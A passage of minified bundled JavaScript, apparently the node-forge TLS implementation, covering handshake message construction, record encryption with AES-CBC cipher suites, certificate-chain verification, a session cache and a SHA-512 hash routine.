expansion",Y,z),J={client_write_MAC_key:H.getBytes(K.mac_key_length),server_write_MAC_key:H.getBytes(K.mac_key_length),client_write_key:H.getBytes(K.enc_key_length),server_write_key:H.getBytes(K.enc_key_length)};if(w)J.client_write_IV=H.getBytes(K.fixed_iv_length),J.server_write_IV=H.getBytes(K.fixed_iv_length);return J};A1.createConnectionState=function(A){var K=A.entity===A1.ConnectionEnd.client,q=function(){var w={sequenceNumber:[0,0],macKey:null,macLength:0,macFunction:null,cipherState:null,cipherFunction:function(H){return!0},compressionState:null,compressFunction:function(H){return!0},updateSequenceNumber:function(){if(w.sequenceNumber[1]===4294967295)w.sequenceNumber[1]=0,++w.sequenceNumber[0];else++w.sequenceNumber[1]}};return w},Y={read:q(),write:q()};if(Y.read.update=function(w,H){if(!Y.read.cipherFunction(H,Y.read))w.error(w,{message:"Could not decrypt record or bad MAC.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.bad_record_mac}});else if(!Y.read.compressFunction(w,H,Y.read))w.error(w,{message:"Could not decompress record.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.decompression_failure}});return!w.fail},Y.write.update=function(w,H){if(!Y.write.compressFunction(w,H,Y.write))w.error(w,{message:"Could not compress record.",send:!1,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.internal_error}});else if(!Y.write.cipherFunction(H,Y.write))w.error(w,{message:"Could not encrypt record.",send:!1,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.internal_error}});return!w.fail},A.session){var z=A.session.sp;switch(A.session.cipherSuite.initSecurityParameters(z),z.keys=A1.generateKeys(A,z),Y.read.macKey=K?z.keys.server_write_MAC_key:z.keys.client_write_MAC_key,Y.write.macKey=K?z.keys.client_write_MAC_key:z.keys.server_write_MAC_key,A.session.cipherSuite.initConnectionState(Y,A,z),z.compression_algorithm){case A1.CompressionMethod.none:break;case A1.CompressionMethod.deflate:Y.read.compressFunction=KEY,Y.write.compressFunction=AEY;break;default:throw Error("Unsupported compression algorithm.")}}return Y};A1.createRandom=function(){var A=new Date,K=+A+A.getTimezoneOffset()*60000,q=R8.util.createBuffer();return q.putInt32(K),q.putBytes(R8.random.getBytes(28)),q};A1.createRecord=function(A,K){if(!K.data)return null;var q={type:K.type,version:{major:A.version.major,minor:A.version.minor},length:K.data.length(),fragment:K.data};return q};A1.createAlert=function(A,K){var q=R8.util.createBuffer();return q.putByte(K.level),q.putByte(K.description),A1.createRecord(A,{type:A1.ContentType.alert,data:q})};A1.createClientHello=function(A){A.session.clientHelloVersion={major:A.version.major,minor:A.version.minor};var K=R8.util.createBuffer();for(var q=0;q<A.cipherSuites.length;++q){var Y=A.cipherSuites[q];K.putByte(Y.id[0]),K.putByte(Y.id[1])}var z=K.length(),w=R8.util.createBuffer();w.putByte(A1.CompressionMethod.none);var H=w.length(),J=R8.util.createBuffer();if(A.virtualHost){var O=R8.util.createBuffer();O.putByte(0),O.putByte(0);var X=R8.util.createBuffer();X.putByte(0),FC(X,2,R8.util.createBuffer(A.virtualHost));var $=R8.util.createBuffer();FC($,2,X),FC(O,2,$),J.putBuffer(O)}var _=J.length();if(_>0)_+=2;var G=A.session.id,Z=G.length+1+2+4+28+2+z+1+H+_,W=R8.util.createBuffer();if(W.putByte(A1.HandshakeType.client_hello),W.putInt24(Z),W.putByte(A.version.major),W.putByte(A.version.minor),W.putBytes(A.session.sp.client_random),FC(W,1,R8.util.createBuffer(G)),FC(W,2,K),FC(W,1,w),_>0)FC(W,2,J);return W};A1.createServerHello=function(A){var K=A.session.id,q=K.length+1+2+4+28+2+1,Y=R8.util.createBuffer();return Y.putByte(A1.HandshakeType.server_hello),Y.putInt24(q),Y.putByte(A.version.major),Y.putByte(A.version.minor),Y.putBytes(A.session.sp.server_random),FC(Y,1,R8.util.createBuffer(K)),Y.putByte(A.session.cipherSuite.id[0]),Y.putByte(A.session.cipherSuite.id[1]),Y.putByte(A.session.compressionMethod),Y};A1.createCertificate=function(A){var K=A.entity===A1.ConnectionEnd.client,q=null;if(A.getCertificate){var Y;if(K)Y=A.session.certificateRequest;else Y=A.session.extensions.server_name.serverNameList;q=A.getCertificate(A,Y)}var z=R8.util.createBuffer();if(q!==null)try{if(!R8.util.isArray(q))q=[q];var w=null;for(var H=0;H<q.length;++H){var J=R8.pem.decode(q[H])[0];if(J.type!=="CERTIFICATE"&&J.type!=="X509 CERTIFICATE"&&J.type!=="TRUSTED CERTIFICATE"){var O=Error('Could not convert certificate from PEM; PEM header type is not "CERTIFICATE", "X509 CERTIFICATE", or "TRUSTED CERTIFICATE".');throw O.headerType=J.type,O}if(J.procType&&J.procType.type==="ENCRYPTED")throw Error("Could not convert certificate from PEM; PEM is encrypted.");var X=R8.util.createBuffer(J.body);if(w===null)w=R8.asn1.fromDer(X.bytes(),!1);var $=R8.util.createBuffer();FC($,3,X),z.putBuffer($)}if(q=R8.pki.certificateFromAsn1(w),K)A.session.clientCertificate=q;else A.session.serverCertificate=q}catch(Z){return A.error(A,{message:"Could not send certificate list.",cause:Z,send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.bad_certificate}})}var _=3+z.length(),G=R8.util.createBuffer();return G.putByte(A1.HandshakeType.certificate),G.putInt24(_),FC(G,3,z),G};A1.createClientKeyExchange=function(A){var K=R8.util.createBuffer();K.putByte(A.session.clientHelloVersion.major),K.putByte(A.session.clientHelloVersion.minor),K.putBytes(R8.random.getBytes(46));var q=A.session.sp;q.pre_master_secret=K.getBytes();var Y=A.session.serverCertificate.publicKey;K=Y.encrypt(q.pre_master_secret);var z=K.length+2,w=R8.util.createBuffer();return w.putByte(A1.HandshakeType.client_key_exchange),w.putInt24(z),w.putInt16(K.length),w.putBytes(K),w};A1.createServerKeyExchange=function(A){var K=0,q=R8.util.createBuffer();if(K>0)q.putByte(A1.HandshakeType.server_key_exchange),q.putInt24(K);return q};A1.getClientSignature=function(A,K){var q=R8.util.createBuffer();q.putBuffer(A.session.md5.digest()),q.putBuffer(A.session.sha1.digest()),q=q.getBytes(),A.getSignature=A.getSignature||function(Y,z,w){var H=null;if(Y.getPrivateKey)try{H=Y.getPrivateKey(Y,Y.session.clientCertificate),H=R8.pki.privateKeyFromPem(H)}catch(J){Y.error(Y,{message:"Could not get private key.",cause:J,send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.internal_error}})}if(H===null)Y.error(Y,{message:"No private key set.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.internal_error}});else z=H.sign(z,null);w(Y,z)},A.getSignature(A,q,K)};A1.createCertificateVerify=function(A,K){var q=K.length+2,Y=R8.util.createBuffer();return Y.putByte(A1.HandshakeType.certificate_verify),Y.putInt24(q),Y.putInt16(K.length),Y.putBytes(K),Y};A1.createCertificateRequest=function(A){var K=R8.util.createBuffer();K.putByte(1);var q=R8.util.createBuffer();for(var Y in A.caStore.certs){var z=A.caStore.certs[Y],w=R8.pki.distinguishedNameToAsn1(z.subject),H=R8.asn1.toDer(w);q.putInt16(H.length()),q.putBuffer(H)}var J=1+K.length()+2+q.length(),O=R8.util.createBuffer();return O.putByte(A1.HandshakeType.certificate_request),O.putInt24(J),FC(O,1,K),FC(O,2,q),O};A1.createServerHelloDone=function(A){var K=R8.util.createBuffer();return K.putByte(A1.HandshakeType.server_hello_done),K.putInt24(0),K};A1.createChangeCipherSpec=function(){var A=R8.util.createBuffer();return A.putByte(1),A};A1.createFinished=function(A){var K=R8.util.createBuffer();K.putBuffer(A.session.md5.digest()),K.putBuffer(A.session.sha1.digest());var q=A.entity===A1.ConnectionEnd.client,Y=A.session.sp,z=12,w=J$1,H=q?"client finished":"server finished";K=w(Y.master_secret,H,K.getBytes(),z);var J=R8.util.createBuffer();return J.putByte(A1.HandshakeType.finished),J.putInt24(K.length()),J.putBuffer(K),J};A1.createHeartbeat=function(A,K,q){if(typeof q>"u")q=K.length;var Y=R8.util.createBuffer();Y.putByte(A),Y.putInt16(q),Y.putBytes(K);var z=Y.length(),w=Math.max(16,z-q-3);return Y.putBytes(R8.random.getBytes(w)),Y};A1.queue=function(A,K){if(!K)return;if(K.fragment.length()===0){if(K.type===A1.ContentType.handshake||K.type===A1.ContentType.alert||K.type===A1.ContentType.change_cipher_spec)return}if(K.type===A1.ContentType.handshake){var q=K.fragment.bytes();A.session.md5.update(q),A.session.sha1.update(q),q=null}var Y;if(K.fragment.length()<=A1.MaxFragment)Y=[K];else{Y=[];var z=K.fragment.bytes();while(z.length>A1.MaxFragment)Y.push(A1.createRecord(A,{type:K.type,data:R8.util.createBuffer(z.slice(0,A1.MaxFragment))})),z=z.slice(A1.MaxFragment);if(z.length>0)Y.push(A1.createRecord(A,{type:K.type,data:R8.util.createBuffer(z)}))}for(var w=0;w<Y.length&&!A.fail;++w){var H=Y[w],J=A.state.current.write;if(J.update(A,H))A.records.push(H)}};A1.flush=function(A){for(var K=0;K<A.records.length;++K){var q=A.records[K];A.tlsData.putByte(q.type),A.tlsData.putByte(q.version.major),A.tlsData.putByte(q.version.minor),A.tlsData.putInt16(q.fragment.length()),A.tlsData.putBuffer(A.records[K].fragment)}return A.records=[],A.tlsDataReady(A)};var Wj6=function(A){switch(A){case!0:return!0;case R8.pki.certificateError.bad_certificate:return A1.Alert.Description.bad_certificate;case R8.pki.certificateError.unsupported_certificate:return A1.Alert.Description.unsupported_certificate;case R8.pki.certificateError.certificate_revoked:return A1.Alert.Description.certificate_revoked;case R8.pki.certificateError.certificate_expired:return A1.Alert.Description.certificate_expired;case R8.pki.certificateError.certificate_unknown:return A1.Alert.Description.certificate_unknown;case R8.pki.certificateError.unknown_ca:return A1.Alert.Description.unknown_ca;default:return A1.Alert.Description.bad_certificate}},PEY=function(A){switch(A){case!0:return!0;case A1.Alert.Description.bad_certificate:return R8.pki.certificateError.bad_certificate;case A1.Alert.Description.unsupported_certificate:return R8.pki.certificateError.unsupported_certificate;case A1.Alert.Description.certificate_revoked:return R8.pki.certificateError.certificate_revoked;case A1.Alert.Description.certificate_expired:return R8.pki.certificateError.certificate_expired;case A1.Alert.Description.certificate_unknown:return R8.pki.certificateError.certificate_unknown;case A1.Alert.Description.unknown_ca:return R8.pki.certificateError.unknown_ca;default:return R8.pki.certificateError.bad_certificate}};A1.verifyCertificateChain=function(A,K){try{var q={};for(var Y in A.verifyOptions)q[Y]=A.verifyOptions[Y];q.verify=function(w,H,J){var O=Wj6(w),X=A.verify(A,w,H,J);if(X!==!0){if(typeof X==="object"&&!R8.util.isArray(X)){var $=Error("The application rejected the certificate.");if($.send=!0,$.alert={level:A1.Alert.Level.fatal,description:A1.Alert.Description.bad_certificate},X.message)$.message=X.message;if(X.alert)$.alert.description=X.alert;throw $}if(X!==w)X=PEY(X)}return X},R8.pki.verifyCertificateChain(A.caStore,K,q)}catch(w){var z=w;if(typeof z!=="object"||R8.util.isArray(z))z={send:!0,alert:{level:A1.Alert.Level.fatal,description:Wj6(w)}};if(!("send"in z))z.send=!0;if(!("alert"in z))z.alert={level:A1.Alert.Level.fatal,description:Wj6(z.error)};A.error(A,z)}return!A.fail};A1.createSessionCache=function(A,K){var q=null;if(A&&A.getSession&&A.setSession&&A.order)q=A;else{q={},q.cache=A||{},q.capacity=Math.max(K||100,1),q.order=[];for(var Y in A)if(q.order.length<=K)q.order.push(Y);else delete A[Y];q.getSession=function(z){var w=null,H=null;if(z)H=R8.util.bytesToHex(z);else if(q.order.length>0)H=q.order[0];if(H!==null&&H in q.cache){w=q.cache[H],delete q.cache[H];for(var J in q.order)if(q.order[J]===H){q.order.splice(J,1);break}}return w},q.setSession=function(z,w){if(q.order.length===q.capacity){var H=q.order.shift();delete q.cache[H]}var H=R8.util.bytesToHex(z);q.order.push(H),q.cache[H]=w}}return q};A1.createConnection=function(A){var K=null;if(A.caStore)if(R8.util.isArray(A.caStore))K=R8.pki.createCaStore(A.caStore);else K=A.caStore;else K=R8.pki.createCaStore();var q=A.cipherSuites||null;if(q===null){q=[];for(var Y in A1.CipherSuites)q.push(A1.CipherSuites[Y])}var z=A.server?A1.ConnectionEnd.server:A1.ConnectionEnd.client,w=A.sessionCache?A1.createSessionCache(A.sessionCache):null,H={version:{major:A1.Version.major,minor:A1.Version.minor},entity:z,sessionId:A.sessionId,caStore:K,sessionCache:w,cipherSuites:q,connected:A.connected,virtualHost:A.virtualHost||null,verifyClient:A.verifyClient||!1,verify:A.verify||function($,_,G,Z){return _},verifyOptions:A.verifyOptions||{},getCertificate:A.getCertificate||null,getPrivateKey:A.getPrivateKey||null,getSignature:A.getSignature||null,input:R8.util.createBuffer(),tlsData:R8.util.createBuffer(),data:R8.util.createBuffer(),tlsDataReady:A.tlsDataReady,dataReady:A.dataReady,heartbeatReceived:A.heartbeatReceived,closed:A.closed,error:function($,_){if(_.origin=_.origin||($.entity===A1.ConnectionEnd.client?"client":"server"),_.send)A1.queue($,A1.createAlert($,_.alert)),A1.flush($);var G=_.fatal!==!1;if(G)$.fail=!0;if(A.error($,_),G)$.close(!1)},deflate:A.deflate||null,inflate:A.inflate||null};H.reset=function($){H.version={major:A1.Version.major,minor:A1.Version.minor},H.record=null,H.session=null,H.peerCertificate=null,H.state={pending:null,current:null},H.expect=H.entity===A1.ConnectionEnd.client?qEY:XEY,H.fragmented=null,H.records=[],H.open=!1,H.handshakes=0,H.handshaking=!1,H.isConnected=!1,H.fail=!($||typeof $>"u"),H.input.clear(),H.tlsData.clear(),H.data.clear(),H.state.current=A1.createConnectionState(H)},H.reset();var J=function($,_){var G=_.type-A1.ContentType.change_cipher_spec,Z=Mj6[$.entity][$.expect];if(G in Z)Z[G]($,_);else A1.handleUnexpected($,_)},O=function($){var _=0,G=$.input,Z=G.length();if(Z<5)_=5-Z;else{$.record={type:G.getByte(),version:{major:G.getByte(),minor:G.getByte()},length:G.getInt16(),fragment:R8.util.createBuffer(),ready:!1};var W=$.record.version.major===$.version.major;if(W&&$.session&&$.session.version)W=$.record.version.minor===$.version.minor;if(!W)$.error($,{message:"Incompatible TLS version.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.protocol_version}})}return _},X=function($){var _=0,G=$.input,Z=G.length();if(Z<$.record.length)_=$.record.length-Z;else{$.record.fragment.putBytes(G.getBytes($.record.length)),G.compact();var W=$.state.current.read;if(W.update($,$.record)){if($.fragmented!==null)if($.fragmented.type===$.record.type)$.fragmented.fragment.putBuffer($.record.fragment),$.record=$.fragmented;else $.error($,{message:"Invalid fragmented record.",send:!0,alert:{level:A1.Alert.Level.fatal,description:A1.Alert.Description.unexpected_message}});$.record.ready=!0}}return _};return H.handshake=function($){if(H.entity!==A1.ConnectionEnd.client)H.error(H,{message:"Cannot initiate handshake as a server.",fatal:!1});else if(H.handshaking)H.error(H,{message:"Handshake already in progress.",fatal:!1});else{if(H.fail&&!H.open&&H.handshakes===0)H.fail=!1;H.handshaking=!0,$=$||"";var _=null;if($.length>0){if(H.sessionCache)_=H.sessionCache.getSession($);if(_===null)$=""}if($.length===0&&H.sessionCache){if(_=H.sessionCache.getSession(),_!==null)$=_.id}if(H.session={id:$,version:null,cipherSuite:null,compressionMethod:null,serverCertificate:null,certificateRequest:null,clientCertificate:null,sp:{},md5:R8.md.md5.create(),sha1:R8.md.sha1.create()},_)H.version=_.version,H.session.sp=_.sp;H.session.sp.client_random=A1.createRandom().getBytes(),H.open=!0,A1.queue(H,A1.createRecord(H,{type:A1.ContentType.handshake,data:A1.createClientHello(H)})),A1.flush(H)}},H.process=function($){var _=0;if($)H.input.putBytes($);if(!H.fail){if(H.record!==null&&H.record.ready&&H.record.fragment.isEmpty())H.record=null;if(H.record===null)_=O(H);if(!H.fail&&H.record!==null&&!H.record.ready)_=X(H);if(!H.fail&&H.record!==null&&H.record.ready)J(H,H.record)}return _},H.prepare=function($){return A1.queue(H,A1.createRecord(H,{type:A1.ContentType.application_data,data:R8.util.createBuffer($)})),A1.flush(H)},H.prepareHeartbeatRequest=function($,_){if($ instanceof R8.util.ByteBuffer)$=$.bytes();if(typeof _>"u")_=$.length;return H.expectedHeartbeatPayload=$,A1.queue(H,A1.createRecord(H,{type:A1.ContentType.heartbeat,data:A1.createHeartbeat(A1.HeartbeatMessageType.heartbeat_request,$,_)})),A1.flush(H)},H.close=function($){if(!H.fail&&H.sessionCache&&H.session){var _={id:H.session.id,version:H.session.version,sp:H.session.sp};_.sp.keys=null,H.sessionCache.setSession(_.id,_)}if(H.open){if(H.open=!1,H.input.clear(),H.isConnected||H.handshaking)H.isConnected=H.handshaking=!1,A1.queue(H,A1.createAlert(H,{level:A1.Alert.Level.warning,description:A1.Alert.Description.close_notify})),A1.flush(H);H.closed(H)}H.reset($)},H};LG7.exports=R8.tls=R8.tls||{};for(vBA in A1)if(typeof A1[vBA]!=="function")R8.tls[vBA]=A1[vBA];var vBA;R8.tls.prf_tls1=J$1;R8.tls.hmac_sha1=evY;R8.tls.createSessionCache=A1.createSessionCache;R8.tls.createConnection=A1.createConnection});var IG7=v((x4H,yG7)=>{var Fa=m3();ha();Pj6();var QC=yG7.exports=Fa.tls;QC.CipherSuites.TLS_RSA_WITH_AES_128_CBC_SHA={id:[0,47],name:"TLS_RSA_WITH_AES_128_CBC_SHA",initSecurityParameters:function(A){A.bulk_cipher_algorithm=QC.BulkCipherAlgorithm.aes,A.cipher_type=QC.CipherType.block,A.enc_key_length=16,A.block_length=16,A.fixed_iv_length=16,A.record_iv_length=16,A.mac_algorithm=QC.MACAlgorithm.hmac_sha1,A.mac_length=20,A.mac_key_length=20},initConnectionState:RG7};QC.CipherSuites.TLS_RSA_WITH_AES_256_CBC_SHA={id:[0,53],name:"TLS_RSA_WITH_AES_256_CBC_SHA",initSecurityParameters:function(A){A.bulk_cipher_algorithm=QC.BulkCipherAlgorithm.aes,A.cipher_type=QC.CipherType.block,A.enc_key_length=32,A.block_length=16,A.fixed_iv_length=16,A.record_iv_length=16,A.mac_algorithm=QC.MACAlgorithm.hmac_sha1,A.mac_length=20,A.mac_key_length=20},initConnectionState:RG7};function RG7(A,K,q){var Y=K.entity===Fa.tls.ConnectionEnd.client;A.read.cipherState={init:!1,cipher:Fa.cipher.createDecipher("AES-CBC",Y?q.keys.server_write_key:q.keys.client_write_key),iv:Y?q.keys.server_write_IV:q.keys.client_write_IV},A.write.cipherState={init:!1,cipher:Fa.cipher.createCipher("AES-CBC",Y?q.keys.client_write_key:q.keys.server_write_key),iv:Y?q.keys.client_write_IV:q.keys.server_write_IV},A.read.cipherFunction=TEY,A.write.cipherFunction=VEY,A.read.macLength=A.write.macLength=q.mac_length,A.read.macFunction=A.write.macFunction=QC.hmac_sha1}function VEY(A,K){var q=!1,Y=K.macFunction(K.macKey,K.sequenceNumber,A);A.fragment.putBytes(Y),K.updateSequenceNumber();var z;if(A.version.minor===QC.Versions.TLS_1_0.minor)z=K.cipherState.init?null:K.cipherState.iv;else z=Fa.random.getBytesSync(16);K.cipherState.init=!0;var w=K.cipherState.cipher;if(w.start({iv:z}),A.version.minor>=QC.Versions.TLS_1_1.minor)w.output.putBytes(z);if(w.update(A.fragment),w.finish(fEY))A.fragment=w.output,A.length=A.fragment.length(),q=!0;return q}function fEY(A,K,q){if(!q){var Y=A-K.length()%A;K.fillWithByte(Y-1,Y)}return!0}function NEY(A,K,q){var Y=!0;if(q){var z=K.length(),w=K.last();for(var H=z-1-w;H<z-1;++H)Y=Y&&K.at(H)==w;if(Y)K.truncate(w+1)}return Y}function TEY(A,K){var q=!1,Y;if(A.version.minor===QC.Versions.TLS_1_0.minor)Y=K.cipherState.init?null:K.cipherState.iv;else Y=A.fragment.getBytes(16);K.cipherState.init=!0;var z=K.cipherState.cipher;z.start({iv:Y}),z.update(A.fragment),q=z.finish(NEY);var w=K.macLength,H=Fa.random.getBytesSync(w),J=z.output.length();if(J>=w)A.fragment=z.output.getBytes(J-w),H=z.output.getBytes(w);else A.fragment=z.output.getBytes();A.fragment=Fa.util.createBuffer(A.fragment),A.length=A.fragment.length();var O=K.macFunction(K.macKey,K.sequenceNumber,A);return K.updateSequenceNumber(),q=vEY(K.macKey,H,O)&&q,q}function vEY(A,K,q){var Y=Fa.hmac.create();return Y.start("SHA1",A),Y.update(K),K=Y.digest().getBytes(),Y.start(null,null),Y.update(q),q=Y.digest().getBytes(),K===q}});var Nj6=v((u4H,xG7)=>{var lH=m3();ru();bY();var EBA=xG7.exports=lH.sha512=lH.sha512||{};lH.md.sha512=lH.md.algorithms.sha512=EBA;var hG7=lH.sha384=lH.sha512.sha384=lH.sha512.sha384||{};hG7.create=function(){return EBA.create("SHA-384")};lH.md.sha384=lH.md.algorithms.sha384=hG7;lH.sha512.sha256=lH.sha512.sha256||{create:function(){return EBA.create("SHA-512/256")}};lH.md["sha512/256"]=lH.md.algorithms["sha512/256"]=lH.sha512.sha256;lH.sha512.sha224=lH.sha512.sha224||{create:function(){return EBA.create("SHA-512/224")}};lH.md["sha512/224"]=lH.md.algorithms["sha512/224"]=lH.sha512.sha224;EBA.create=function(A){if(!bG7)EEY();if(typeof A>"u")A="SHA-512";if(!(A in yqA))throw Error("Invalid SHA-512 algorithm: "+A);var K=yqA[A],q=null,Y=lH.util.createBuffer(),z=Array(80);for(var w=0;w<80;++w)z[w]=[,,];var H=64;switch(A){case"SHA-384":H=48;break;case"SHA-512/256":H=32;break;case"SHA-512/224":H=28;break}var J={algorithm:A.replace("-","").toLowerCase(),blockLength:128,digestLength:H,messageLength:0,fullMessageLength:null,messageLengthSize:16};return J.start=function(){J.messageLength=0,J.fullMessageLength=J.messageLength128=[];var O=J.messageLengthSize/4;for(var X=0;X<O;++X)J.fullMessageLength.push(0);Y=lH.util.createBuffer(),q=Array(K.length);for(var X=0;X<K.length;++X)q[X]=K[X].slice(0);return J},J.start(),J.update=function(O,X){if(X==="utf8")O=lH.util.encodeUtf8(O);var $=O.length;J.messageLength+=$,$=[$/4294967296>>>0,$>>>0];for(var _=J.fullMessageLength.length-1;_>=0;--_)J.fullMessageLength[_]+=$[1],$[1]=$[0]+(J.fullMessageLength[_]/4294967296>>>0),J.fullMessageLength[_]=J.fullMessageLength[_]>>>0,$[0]=$[1]/4294967296>>>0;if(Y.putBytes(O),SG7(q,z,Y),Y.read>2048||Y.length()===0)Y.compact();return J},J.digest=function(){var O=lH.util.createBuffer();O.putBytes(Y.bytes());var X=J.fullMessageLength[J.fullMessageLength.length-1]+J.messageLengthSize,$=X&J.blockLength-1;O.putBytes(Vj6.substr(0,J.blockLength-$));var _,G,Z=J.fullMessageLength[0]*8;for(var W=0;W<J.fullMessageLength.length-1;++W)_=J.fullMessageLength[W+1]*8,G=_/4294967296>>>0,Z+=G,O.putInt32(Z>>>0),Z=_>>>0;O.putInt32(Z);var D=Array(q.length);for(var W=0;W<q.length;++W)D[W]=q[W].slice(0);SG7(D,z,O);var j=lH.util.createBuffer(),M;if(A==="SHA-512")M=D.length;else if(A==="SHA-384")M=D.length-2;else M=D.length-4;for(var W=0;W<M;++W)if(j.putInt32(D[W][0]),W!==M-1||A!=="SHA-512/224")j.putInt32(D[W][1]);return j},J};var Vj6=null,bG7=!1,fj6=null,yqA=null;function EEY(){Vj6=String.fromCharCode(128),Vj6+=lH.util.fillString(String.fromCharCode(0),128),fj6=[[1116352408,3609767458],[1899447441,602891725],[3049323471,3964484399],[3921009573,2173295548],[961987163,4081628472],[1508970993,3053834265],[2453635748,2937671579],[2870763221,3664609560],[3624381080,2734883394],[310598401,1164996542],[607225278,1323610764],[1426881987,3590304994],[1925078388,4068182383],[2162078206,991336113],[2614888103,633803317],[3248222580,3479774868],[3835390401,2666613458],[4022224774,944711139],[264347078,2341262773],[604807628,2007800933],[770255983,1495990901],[1249150122,1856431235],[1555081692,3175218132],[1996064986,2198950837],[2554220882,3999719339],[2821834349,766784016],[2952996808,2566594879],[3210313671,3203337956],[3336571891,1034457026],[3584528711,2466948901],[113926993,3758326383],[338241895,168717936],[666307205,1188179964],[773529912,1546045734],[1294757372,1522805485],[1396182291,2643833823],[1695183700,2343527390],[1986661051,1014477480],[2177026350,1206759142],[2456956037,344077627],[2730485921,1290863460],[2820302411,3158454273],[3259730800,3505952657],[3345764771,106217008],[3516065817,3606008344],[3600352804,1432725776],[4094571909,1467031594],[275423344,851169720],[430227734,3100823752],[506948616,1363258195],[659060556,3750685593],[883997877,3785050280],[958139571,3318307427],[1322822218,3812723403],[1537002063,2003034995],[1747873779,3602036899],[1955562222,1575990012],[2024104815,1125592928],[2227730452,2716904306],[2361852424,442776044],[2428436474,593698344],[2756734187,3733110249],[3204031479,2999351573],[3329325298,3815920427],[3391569614,3928383900],[3515267271,566280711],[3940187606,3454069534],[4118630271,4000239992],[116418474,1914138554],[174292421,2731055270],[289380356,3203993006],[460393269,320620315],[685471733,587496836],[852142971,1086792851],[1017036298,365543100],[1126000580,2618297676],[1288033470,3409855158],[1501505948,4234509866],[1607167915,987167468],[1816402316,1246189591]],yqA={},yqA["SHA-512"]=[[1779033703,4089235720],[3144134277,2227873595],[1013904242,4271175723],[2773480762,1595750129],[1359893119,2917565137],[2600822924,725511199],[528734635,4215389547],[1541459225,327033209]],yqA["SHA-384"]=[[3418070365,3238371032],[1654270250,914150663],[2438529370,812702999],[355462360,4144912697],[1731405415,4290775857],[2394180231,1750603025],[3675008525,1694076839],[1203062813,3204075428]],yqA["SHA-512/256"]=[[573645204,4230739756],[2673172387,3360449730],[596883563,1867755857],[2520282905,1497426621],[2519219938,2827943907],[3193839141,1401305490],[721525244,746961066],[246885852,2177182882]],yqA["SHA-512/224"]=[[2352822216,424955298],[1944164710,2312950998],[502970286,855612546],[1738396948,1479516111],[258812777,2077511080],[2011393907,79989058],[1067287976,1780299464],[286451373,2446758561]],bG7=!0}function SG7(A,K,q){var Y,z,w,H,J,O,X,$,_,G,Z,W,D,j,M,P,f,N,T,C,R,x,y,B,b,F,Q,u,d,r,c,YA,e,qA,HA,_A=q.length();while(_A>=128){for(d=0;d<16;++d)K[d][0]=q.getInt32()>>>0,K[d][1]=q.getInt32()>>>0;for(;d<80;++d)YA=K[d-2],r=YA[0],c=YA[1],Y=((r>>>19|c<<13)^(c>>>29|r<<3)^r>>>6)>>>0,z=((r<<13|c>>>19)^(c<<3|r>>>29)^(r<<26|c>>>6))>>>0,qA=K[d-15],r=qA[0],c=qA[1],w=((r>>>1|c<<31)^(r>>>8|c<<24)^r>>>7)>>>0,H=((r<<31|c>>>1)^(r<<24|c>>>8)^(r<<25|c>>>7))>>>0,e=K[d-7],HA=K[d-16],c=z+e[1]+H+HA[1],K[d][0]=Y+e[0]+w+HA[0]+(c/4294967296>>>0)>>>0,K[d][1]=c>>>0;D=A[0][0],j=A[0][1],M=A[1][0],P=A[1][1],f=A[2][0],N=A[2][1],T=A[3][0],C=A[3][1],R=A[4][0],x=A[4][1],y=A[5][0],B=A[5][1],b=A[6][0],F=A[6][1],Q=A[7][0],u=A[7][1];for(d=0;d<80;++d)X=((R>>>14|x<<18)^(R>>>18|x<<14)^(x>>>9|R<<23))>>>0,$=((R<<18|x>>>14)^(R<<14|x>>>18)^(x<<23|R>>>9))>>>0,_=(b^R&(y^b))>>>0,G=(F^x&(B^F))>>>0,J=((D>>>28|j<<4)^(j>>>2|D<<30)^(j>>>7|D<<25))>>>0,O=((D<<4|j>>>28)^(j<<30|D>>>2)^(j<<25|D>>>7))>>>0,Z=(D&M|f&(D^M))>>>0,W=(j&P|N&(j^P))>>>0,c=u+$+G+fj6[d][1]+K[d][1],Y=Q+X+_+fj6[d][0]+K[d][0]+(c/4294967296>>>0)>>>0,z=c>>>0,c=O+W,w=J+Z+(c/4294967296>>>0)>>>0,H=c>>>0,Q=b,u=F,b=y,F=B,y=R,B=x,c=C+z,R=T+Y+(c/4294967296>>>0)>>>0,x=c>>>0,T=f,C=N,f=M,N=P,M=D,P=j,c=z+H,D=Y+w+(c/4294967296>>>0)>>>0,j=c>>>0;c=A[0][1]+j,A[0][0]=A[0][0]+D+(c/4294967296>>>0)>>>0,A[0][1]=c>>>0,c=A[1][1]+P,A[1][0]=A[1][0]+M+(c/4294967296>>>0)>>>0,A[1][1]=c>>>0,c=A[2][1]+N,A[2][0]=A[2][0]+f+(c/4294967296>>>0)>>>0,A[2][1]=c>>>0,c=A[3][1]+C,A[3][0]=A[3][0]+T+(c/4294967296>>>0)>>>0,A[3][1]=c>>>0,c=A[4][1]+x,A[4][0]=A[4][0]+R+(c/4294967296>>>0)>>>0,A[4][1]=c>>>0,c=A[5][1]+B,A[5][0]=A[5][0]+y+(c/4294967296>>>0)>>>0,A[5][1]=c>>>0,c=A[6][1]+F,A[6][0]=A[6][0]+b+(c/4294967296>>>0)>>>0,A[6][1]=c>>>0,c=A[7][1]+u,A[7][0]=A[7][0]+Q+(c/4294967296>>>0)>>>0,A[7][1]=c>>>0,_A-=128}}});var uG7=v((CEY)=>{var kEY=m3();xI();var 